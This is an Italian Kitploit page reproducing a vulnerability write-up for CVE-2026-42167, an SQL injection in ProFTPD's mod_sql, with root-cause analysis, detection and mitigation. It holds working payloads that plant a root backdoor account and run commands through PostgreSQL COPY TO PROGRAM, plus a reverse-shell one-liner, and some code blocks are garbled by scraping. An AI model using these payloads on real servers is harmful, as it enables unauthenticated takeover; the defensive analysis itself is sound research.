Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
proftpd-CVE-2026-42167-analysis — Analisi indipendente della riproduzione, analisi della causa principale a livello di codice e report di esposizione realistica per CVE-2026-42167 (bypass di is_escaped_text() in mod_sql di ProFTPD). | Kitploit
Strumenti/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Analisi indipendente della riproduzione, analisi della causa principale a livello di codice e report di esposizione realistica per CVE-2026-42167 (bypass di is_escaped_text() in mod_sql di ProFTPD).

Vedi Repository
314 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42167 — ProFTPD mod_sql SQL Injection / Auth Bypass / RCE

Riproduzione indipendente, analisi dettagliata della causa radice a livello di codice e una franca analisi dell'esposizione per CVE-2026-42167 — il bypass di is_escaped_text() nel pipeline di logging mod_sql di ProFTPD, divulgato da ZeroPath Research e corretto in ProFTPD 1.3.9a / 1.3.10rc1.

Costruito e verificato end-to-end in Docker su macOS / Apple Silicon, 2026-04-29.

TL;DR — vedi Bottom line per il quadro realistico dell'esposizione prima di decidere quanto preoccuparti. Questo non è un bug presente nell'installazione predefinita, ma il pattern di quoting pericoloso è il pattern che la documentazione upstream ti dice di usare, quindi una grande frazione delle distribuzioni mod_sql lo eredita.

CampoValore
CVECVE-2026-42167
CWECWE-89 (SQL Injection), CWE-78 (OS Command Injection — via PG COPY TO PROGRAM)
AffettiProFTPD ≤ 1.3.9 con mod_sql + SQLLog/SQLNamedQuery la cui stringa di formato interpola una variabile controllata dall'attaccante tra virgolette singole
Corretto in1.3.9a (af90843ba…) / 1.3.10rc1, vedi commit e6f728481 ("Issue #2052")
Commit vulnerabile fissatoae25959adb05ae1d6ebfa1f36bf778c9c34e9410
File vulnerabilecontrib/mod_sql.c righe 741–758 (is_escaped_text) e riga 777 (sql_resolved_append_text)
Divulgazione originalehttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
PoC pubblicohttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Note di rilasciohttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Causa radice — euristica is_escaped_text() in contrib/mod_sql.c

mod_sql risolve le variabili del formato di logging (%U, %{basename}, ecc.) e aggiunge ogni pezzo nella SQL renderizzata tramite sql_resolved_append_text(). Per preservare la compatibilità all'indietro con le configurazioni admin che già racchiudono le variabili in '…', la funzione chiama is_escaped_text() per decidere se sql_escapestring è necessario:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

root@kitploit:~
Il controllo è puramente strutturale: non può distinguere *"già escapato da
codice fidato"* da *"creato da un attaccante per sembrare già escapato."*
Qualsiasi valore fornito dal client che corrisponda a `'<no-internal-quotes>'` salta
`sql_escapestring` e viene concatenato grezzo nella query finale.

La configurazione standard e documentata racchiude `%U` / `%{basename}` / `%m` tra virgolette singole:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Quando l’attaccante invia USER '<payload>' (virgolette di apertura e chiusura, senza virgolette interne), il resolver sostituisce %U senza escape, producendo ''<payload>'' nel SQL — i literal di stringa vuota chiudono le virgolette circostanti e <payload> viene eseguito come SQL grezzo. Con PostgreSQL (PQexec) e SQLite (sqlite3_exec), le query impilate sono supportate, quindi <payload> può essere qualsiasi sequenza di istruzioni.

Poiché SQLLog ERR_* scatta sui login falliti e %U viene impostato da USER prima dell’autenticazione, l’attacco è completamente non autenticato.

La correzione (commit e6f728481, "Issue #2052")

sql_resolved_append_text() acquisisce un parametro already_escaped. I chiamanti che risolvono valori dall’input del client passano FALSE e ora passano attraverso sql_escapestring incondizionatamente — l’euristica is_escaped_text() è ancora applicata per il percorso legittimo "config con valore pre-escaped", ma non si applica più ai dati controllati dall’attaccante.


2. Ambiente di laboratorio```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

root@kitploit:~
- Entrambi i container vengono avviati tramite `setup/docker-compose.yml`.
- `setup/proftpd.conf` abilita la configurazione di logging vulnerabile (vedi §1).
- `setup/seed.sql` crea `users`, `groups`, `activity_log`, `xfer_log`,
  e `secrets`, oltre a un singolo utente FTP legittimo `ftpuser / ftppass`.

---

## 3. Riproduzione — copia e incolla

Prerequisiti: Docker Desktop, Python 3.10+, git. (`uv` è opzionale; i
PoC richiedono solo la libreria standard.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Le due varianti interattive nel repository upstream (preauth_user_rce.py, postauth_stor_rce.py) sono non modificate e aprono una reverse shell basata su PTY. Usano la stessa primitiva della variante marker — basta sostituire il comando shell con bash -i >& /dev/tcp/<host>/<port> 0>&1 e mettersi in ascolto su <port> per prima.


4. I payload, byte per byte

Backdoor pre-autenticazione (comando USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

root@kitploit:~
Perché funziona:

1. Le **virgolette esterne + nessuna virgoletta interna** corrispondono a
   `is_escaped_text()` → l'escape viene saltato.
2. La `SQLNamedQuery` configurata è `INSERT "'%U', '%r', '%m'" activity_log`,
   quindi la SQL renderizzata diventa
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — ma
   `<payload>` stesso inizia con `'`, quindi la query effettiva è
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` commenta i segnaposto di formato finali.
4. Il dollar-quoting di PostgreSQL `$$…$$` ci consente di passare stringhe (`backdoor`,
   `pwned123`, `/`, `/bin/bash`) senza mai usare `'` — preservando il
   bypass di `is_escaped_text()`.
5. `SQLLog ERR_*` scatta al login fallito → `PQexec()` esegue la
   `INSERT INTO users` impilata → l'account backdoor esiste nella tabella di autenticazione.

### Backdoor post-autenticazione (nome file `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

Stesso bypass, trigger diverso. chr(47) = '/' viene usato perché / in un nome file viene interpretato come separatore di directory da FTP, quindi l'attaccante non può inserire un / letterale nel nome file — chr() consente all'account backdoor di ottenere homedir = '/' senza inviarne uno sulla rete.

RCE pre-autenticazione (USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

root@kitploit:~
Dove `<shell-cmd>` è un qualsiasi comando. PostgreSQL lo esegue tramite `/bin/sh`
sull'host del **database** come utente OS `postgres`. Richiede che il ruolo DB
usato da `mod_sql` sia un superutente (o membro di
`pg_execute_server_program`) — comune in distribuzioni single-tenant e
il default per l'immagine Docker ufficiale di `postgres` quando il ruolo viene
creato tramite `POSTGRES_USER`.

---

## 5. Prove acquisite durante la riproduzione

| File | Cosa mostra |
|---|---|
| `logs/01_preauth_backdoor.log` | Output PoC pre-autenticazione, login come `backdoor` riesce (`230`) |
| `logs/02_db_users_after.log` | La tabella `users` ora contiene `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Output PoC post-autenticazione tramite STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Payload marker inviato via FTP |
| `logs/06_users_final.log` | Stato finale della tabella `users` |
| `logs/07_proftpd_trace.log` | Il log di traccia di ProFTPD che stampa `text '…' is already escaped, skipping escaping it again` per ogni payload iniettato — prova diretta che `is_escaped_text()` restituisce TRUE su input dell'attaccante |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` scritto *dall'utente postgres* sul container postgres |
| `screenshots/*.png` | Rendering PNG di ogni sessione terminale catturata |

La riga del log di traccia è la prova schiacciante:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

Quel messaggio viene emesso in contrib/mod_sql.c:791 solo quando is_escaped_text() restituisce TRUE — cioè esattamente il bypass.


6. Rilevamento / mitigazione

Rilevamento (forensics su un server in produzione):

  • grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log con Trace sql:17 abilitato registra ogni tentativo di injection che ha raggiunto il bypass.
  • Controlla activity_log (o qualsiasi tabella in cui scrive SQLNamedQuery INSERT): le righe in cui la colonna username inizia con una virgoletta estranea, contiene null, null);, o contiene INSERT/COPY TO PROGRAM/UPDATE sono prove.
  • Controlla la tabella users per account con uid=0, homedir='/', o shell impostata su una shell reale quando la policy prevede /sbin/nologin.

Mitigazione:

  • Aggiorna ProFTPD ≥ 1.3.9a / 1.3.10rc1 (commit e6f728481).
  • Controllo compensativo se l'aggiornamento non è ancora possibile: rimuovi le variabili controllabili dall'attaccante dalle stringhe di formato SQLNamedQuery (sostituisci '%U' con il più sicuro %U solo all'interno di backend parametrizzati, oppure usa la registrazione su file in chiaro per i login falliti).
  • Difesa in profondità: assicurati che il ruolo PostgreSQL di mod_sql non sia un superutente — da solo questo elimina il percorso RCE COPY TO PROGRAM (il bypass dell'autenticazione tramite INSERT INTO users impilato funziona ancora, ma il raggio d'esplosione è contenuto al database proftpd).

7. Mappa dei file per questo repository```

. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png

root@kitploit:~
---

## 8. È realistico — o un caso limite artificioso?

La risposta onesta: **più ristretto di un worm "invia un pacchetto e possiedi il server", ma il pattern vulnerabile è nella documentazione ufficiale di ProFTPD, quindi non è artificioso.** Tre dimensioni indipendenti determinano se una determinata distribuzione è colpita, e ciascuna riduce la popolazione.

### 8.1 `mod_sql` è persino caricato?

`mod_sql` è opt-in. **Non** è nel build predefinito di ProFTPD e non è nella configurazione predefinita dei pacchetti delle distribuzioni come `proftpd-basic` di Debian. Lo hai solo se:

- Hai compilato con `--with-modules=mod_sql:mod_sql_<backend>`, oppure
- Hai installato un pacchetto specifico per il backend: Debian `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` / `proftpd-mysql`.

Le persone installano questi pacchetti per un motivo chiaro: **autenticazione** basata su SQL (utenti in un DB invece di `/etc/passwd`) o **registrazione attività** basata su SQL per audit. Entrambe sono comuni in ambienti di hosting condiviso, FTP gestito e drop FTP aziendali. Quindi `mod_sql` è una parte reale della base installata — solo non "ogni server."

### 8.2 Il pattern vulnerabile `SQLNamedQuery` è effettivamente utilizzato?

È qui che il realismo è più alto. Il pattern che innesca il bug *è quello documentato.* Esempi presi direttamente dall'albero upstream al commit vulnerabile fissato:```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

Ogni istanza racchiude una variabile controllata dall'attaccante (%u, %r) tra virgolette singole — esattamente la forma che is_escaped_text() classifica erroneamente. Un amministratore che copia-incolla dalla documentazione ufficiale eredita il pattern vulnerabile. Questo è il motivo principale per prendere la cosa seriamente.

8.3 Pre-auth vs post-auth

Il percorso completamente non autenticato (USER + %U + SQLLog ERR_*) è il caso più ristretto. Richiede tutte e tre le condizioni:

  • Una SQLNamedQuery che interpolì %U (nome utente originale, impostato anche in caso di login fallito) tra virgolette singole — meno comune di %u nelle configurazioni reali, poiché la maggior parte degli amministratori vuole il nome utente riuscito per l'audit e usa %u.
  • Una direttiva SQLLog che scatta prima dell'autenticazione. SQLLog ERR_* è il wildcard canonico per questo. SQLLog PASS … e SQLLog STOR … (le forme più comuni) non lo fanno.
  • Un backend che supporta query impilate (PostgreSQL o SQLite — vedi §8.4).

Se la configurazione usa %u invece di %U, lo stesso bug produce comunque il bypass dell'autenticazione — ma solo post-auth, cioè l'attaccante ha prima bisogno di qualsiasi credenziale funzionante prima di poter piantare una backdoor uid=0. Nella maggior parte delle configurazioni reali questa è l'esposizione realistica: utente FTP a bassi privilegi → utente FTP equivalente a root tramite un singolo upload.

8.4 Il backend conta molto

Il bypass scatta in modo identico su ogni backend, ma ciò che l'attaccante può fare differisce nettamente:

BackendQuery impilate?Bypass auth tramite INSERT INTO usersRCE sull'host del DB
PostgreSQLSì (PQexec)FunzionaSì tramite COPY TO PROGRAM se il ruolo del DB è superuser
SQLiteSì (sqlite3_exec)Funziona (e il worker FTP spesso ha PRIVS_ROOT — ancora peggio)Nessun equivalente diretto, ma tabella users scrivibile → login FTP come root
MySQLNo — mysql_real_query senza CLIENT_MULTI_STATEMENTSNon può aggiungere una seconda istruzione; si riduce a subquery a singola istruzione / SQLi cieca solo per esfiltrazione datiNo

PostgreSQL o SQLite ⇒ impatto completo. MySQL ⇒ solo leak di dati / blind basato sul tempo. MySQL è di gran lunga il backend più comune per l'hosting condiviso (cPanel, Plesk, ISPConfig lo usano tutti come default); PostgreSQL è più comune nelle build enterprise personalizzate. Entrambe le popolazioni sono non trascurabili.

8.5 L'RCE ha il suo proprio gate

L'RCE di punta COPY TO PROGRAM richiede inoltre che il ruolo PostgreSQL di mod_sql sia un superuser (o un membro di pg_execute_server_program). Cioè:

  • Comune quando il DB è stato creato con la variabile d'ambiente POSTGRES_USER dell'immagine Docker ufficiale postgres (il default per la maggior parte dei lab PoC e molte immagini appliance, incluso setup/ di questo repo).
  • Comune quando ProFTPD possiede la propria istanza DB (deployment single-tenant, immagini appliance ospitate).
  • Meno comune quando il provisioning guidato dal DBA ha creato il ruolo con privilegi minimi.

Se il ruolo non è un superuser, ottieni comunque la primitiva di bypass dell'autenticazione (di per sé critica), ma l'RCE a livello di OS sull'host del DB scompare.


9. Mettendo tutto insieme — chi è realmente esposto```

ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above

root@kitploit:~
---

## 10. Raccomandazione

Per chiunque esegua ProFTPD `mod_sql`:

- **Aggiornare** a ≥ 1.3.9a in ogni caso. È l'unica correzione completa.
- **Controlli compensativi** finché non si può applicare la patch:
  - Ridurre il ruolo del DB a **non-superuser** — elimina il ramo RCE su
    PostgreSQL.
  - Controllare la tabella `users` / di autenticazione per righe `uid=0`
    estranee o account aggiunti di recente — vedi §6.
  - Abilitare `Trace sql:17` e cercare
    `is already escaped, skipping escaping it again` in `trace.log` — quella
    riga è la prova diretta di un tentativo di bypass.
  - Se possibile, rimuovere le direttive `SQLLog ERR_*` e qualsiasi formato
    `SQLNamedQuery INSERT` che interpolano `%U` (la primitiva pre-autenticazione).
    Il percorso post-autenticazione esisterà comunque tramite `%u` /
    `%{basename}`, ma si elimina il caso peggiore.

---

## 11. In sintesi

- **Non** è una "vulnerabilità da installazione predefinita" — è necessario
  eseguire `mod_sql`.
- **È** una "vulnerabilità da seguire-la-documentazione" — il pattern di
  quoting pericoloso è quello ufficiale, copiato e incollato nei HOWTO
  upstream.
- Lo scenario **completamente non autenticato** del titolo è reale ma
  richiede una combinazione di configurazione specifica (pre-auth `%U` +
  wildcard `SQLLog ERR_*`) meno comune del percorso post-autenticazione.
- Lo scenario di **escalation dei privilegi post-autenticazione** (qualsiasi
  utente FTP → backdoor FTP uid=0) è quello molto più realistico e si applica
  a una larga frazione delle distribuzioni `mod_sql` + PostgreSQL/SQLite che
  usano i pattern di logging documentati.
- La **RCE a livello di OS sull'host del DB** è condizionata dal fatto che il
  ruolo del DB sia un superuser — comune in configurazioni single-tenant /
  appliance, meno comune in ambienti gestiti da DBA.

---

## Crediti

- Vulnerabilità scoperta e originariamente divulgata da
  [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Repository PoC pubblico:
  [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Correzione di TJ Saunders, commit
  [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
  ("Issue #2052").

Questo repository è una riproduzione e analisi indipendente per ricerca
difensiva e istruzione. Nessun 0-day. Utilizzare solo su sistemi su cui si è
autorizzati a testare.
Scarica lo strumento